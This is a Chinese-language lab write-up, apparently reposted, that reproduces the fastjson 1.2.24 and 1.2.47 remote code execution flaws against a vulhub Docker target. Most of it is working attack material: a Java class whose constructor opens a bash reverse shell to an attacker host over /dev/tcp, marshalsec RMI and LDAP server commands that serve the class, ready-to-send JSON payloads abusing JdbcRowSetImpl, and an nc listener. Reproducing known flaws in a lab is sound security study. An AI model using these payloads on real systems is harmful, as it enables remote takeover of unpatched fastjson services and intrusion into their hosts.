fastjson 1.2.24/1.2.47 rce復現


一、環境搭建

實驗共用了兩台 vps

第一台 vpsA 搭建 fastjson 環境

apt-get install docker.io
apt-get install docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up  #docker-compose down 關閉環境

 

第二台 vpsB 配置 jdk 環境

(存在 java 版本限制:

  • 基於 rmi 的利用方式適用 jdk 版本:jdk 6u132、7u131、8u121 之前。因為在 jdk 8u122 時加入了反序列化白名單的機制,關閉了 rmi 遠程加載代碼。
  • 基於 ldap 的利用方式適用 jdk 版本:jdk 11.0.1、8u191、7u201、6u211 之前。因為在 jdk 8u191 更新中,oracle 對 ldap 向量設置了相同的限制,並發布了 cve-2018-3149,關閉了 jndi 遠程類加載。可以看到 ldap 的利用范圍比 rmi 大一些)
wget https://github.com/frekele/oracle-java/releases/download/8u121-b13/jdk-8u121-linux-x64.tar.gz
mkdir -p /opt/jdk && tar -zxvf jdk-8u121-linux-x64.tar.gz -C /opt/jdk/
update-alternatives --install /usr/bin/java java /opt/jdk/jdk1.8.0_121/bin/java 100
update-alternatives --install /usr/bin/javac javac /opt/jdk/jdk1.8.0_121/bin/javac 100
update-alternatives --install /usr/bin/keytool keytool /opt/jdk/jdk1.8.0_121/bin/keytool 100
update-alternatives --display java
update-alternatives --display javac

 

配置 python 環境

apt-get install python

 

整體邏輯是

  1. vpsA 的 8090 端口搭建實驗靶場
  2. vpsB 的 4444 端口使用 python 開啟一個簡易的 web 站點
  3. vpsB 的 9999 端口開啟一個 rmi 服務(rmi 遠程方法調用,一台機器上的程序調用另一台機器上的方法)
  4. vpsB 的 2333 端口監聽反彈過來的 shell

 

二、1.2.24復現過程

新建 Exploit.java 文件

//javac Exploit.java
public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsB ip/2333 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

 

Exploit.java 拖到 vpsB 上編譯為 Exploit.class

javac Exploit.java

 

在 vpsB 上使用 python 快速搭建 http 服務,瀏覽器訪問一下確認沒有問題

python -m SimpleHTTPServer 4444

 

然后借助 marshalsec 項目啟動一個 rmi 服務,監聽 9999 端口,並指定加載遠程類 Exploit.class

這里直接使用編譯好的 marshalsec-0.0.3-SNAPSHOT-all.jar,下載地址 https://github.com/RandomRobbieBF/marshalsec-jar

marshalsec-0.0.3-SNAPSHOT-all.jar 拖到 vpsB 執行命令(這里只是為了盡量減少攻擊機所以將 rmi 服務器和 java 惡意加載文件放在一台 vps 上,若將 Exploit.class 放在其他機器上,再使用如下命令加載遠程類也是沒有問題的)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsB ip:4444/#Exploit" 9999

 

在 vpsA 的實驗環境使用 burp 抓包,將 GET 改為 POST,再添加 payload 如下

POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 164
Content-Type: application/json
Accept-Encoding: gzip, deflate

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsB:9999/Exploit",
        "autoCommit":true
    }
}

 

burp 發包后 rmi 服務接收到請求

 

vpsB 上執行 nc -lvp 2333 監聽,反彈成功

 

三、1.2.47復現過程

fastjson 1.2.47 rce 漏洞利用時,只需將 payload 改為如下

POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json


{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsB:9999/Exploit",
        "autoCommit":true
    }
}

 

 

四、總結

基於 ldap 的利用方式復現漏洞,使用如下命令開啟一個 ldap 服務,再將 payload 中的 rmi://vpsB:9999/Exploit 改為 ldap://vpsB:9999/Exploit 即可

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsB:4444/#Exploit" 9999

 

最初想直接使用 buuoj 平台做靶場復現漏洞了,實驗了很久也沒有成功,最后發現失敗原因是 buu 靶機無法訪問外網嗚嗚嗚嗚嗚

 

參考:

https://www.jianshu.com/p/35b84eda9292

https://www.cnblogs.com/hack404/p/11980791.html

https://www.jianshu.com/p/35b84eda9292

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM